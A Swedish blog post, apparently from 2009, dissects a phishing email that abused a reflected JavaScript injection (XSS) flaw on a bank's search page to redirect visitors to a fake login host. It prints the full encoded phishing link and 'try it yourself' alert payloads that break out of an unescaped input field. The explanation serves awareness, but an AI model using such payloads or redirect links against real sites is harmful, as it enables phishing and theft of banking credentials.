JS-injektion

(Timmtimmtimmulin är välbekant med denna typ av attack och jag har för mig att han har bloggat om den, men jag hittar inte det nu)

Idag fick jag ett spam-markerat mail till min Hermes som bland annat innehöll följande länk:

http://www.abbey.com/csgs/Satellite?pagename=Abbey/GSInformacion/GS_Buscar&searchOption=pula&texto=%22%2F%3E%3Cscript%3Ewindow.location%3D%22http%3A%2F%2Fmyonlineaccounts2.abbeynational.co.uk-bin1.info%2FCentralLogonWeb%22%3B%3C%2Fscript%3E%22


Detta är en klassisk JavaScript-injektion, fast med en liten knorr.

Länken går till en söksida på abbey.com, som är en banks hemsida, och skickar sökfrågan (inklusive citationstecken!)
"/><script>window.location="http://myonlineaccounts2.abbeynational.co.uk-bin1.info/CentralLogonWeb";</script>"

En äkta klassisk JS-injektion går till såhär:
Skicka sökfrågan (utan citationstecken) <script>alert('bajs!')</script> till servern. Den svarar då ungefär
"Du sökte efter <script>alert('bajs!')</script>", och browsern kör scriptet som säger bajs.

Denna banks söktjänst har dock värjt sig mot det, och escapear alla tecken så att skriptet inte körs. Då svarar servern istället "Du sökte efter &lt;script&gt;alert('bajs!')&lt;/script&gt;" och användaren ser "Du sökte efter <script>alert('bajs!')</script>".
Testa själv: http://www.abbey.com/csgs/Satellite?texto=<script>alert('bajs!')</script>&x=0&y=0&pagename=Abbey/GSInformacion/GS_Buscar

Däremot finns ett ställe längre ner där man kan söka igen. För att vara snälla har banken fyllt i ens senaste sökning, fast utan att escapea alla tecken. Det som brukar se ut ungefär:
<input value="Förra sökningen"/>
blir då, om man skickar (med citationstecken) "/><script>alert('bajs!')</script>":
<input value=""/><script>alert('bajs')</script>""/>
och bajs-skriptet körs (av någon anledning måste citationstecknen gå jämt ut :s ).
Testa själv: http://www.abbey.com/csgs/Satellite?texto="/><script>alert('bajs!')</script>"&x=0&y=0&pagename=Abbey/GSInformacion/GS_Buscar

Fast i det här fallet säger inte browser bajs utan öppnar en annan sida som ser ut som bankens vanliga inloggning. Skillnaden är att den ligger på en annan server och att allt man matar in där hamnar i klorna på bluffmakarna. Syftet med att använda den här omvägen är att få länken i mailet att se legitim ut, eftersom den faktiskt pekar till bankens egen sida.

Frågan är varför bankens servern tillåter sökningar med < och > överhuvudtaget. Sen att abbey.com är byggt på spanska, så att de flesta användare inte blir misstänksamma på "Buscar" (= "Sök", fråga inte varför jag kan det), gör inte saken bättre.

Kommentarer
julls (2009-01-14 @ 16:05:44):

Fråga inte heller mig varför jag kan "buscar".

Men däremot, var det i Miciols regim som vi lärde oss LA BARBE? Jag fick mig en funderare om det häromdagen...


Pelli [http://pelli.blogg.se/] (2009-01-14 @ 20:35:50):

La barbe fick vi från Miciol ja.



Kommentera inlägget här:
Namn: Kom ihåg mig?
Mail:(publiceras ej)
URL:
Kommentar: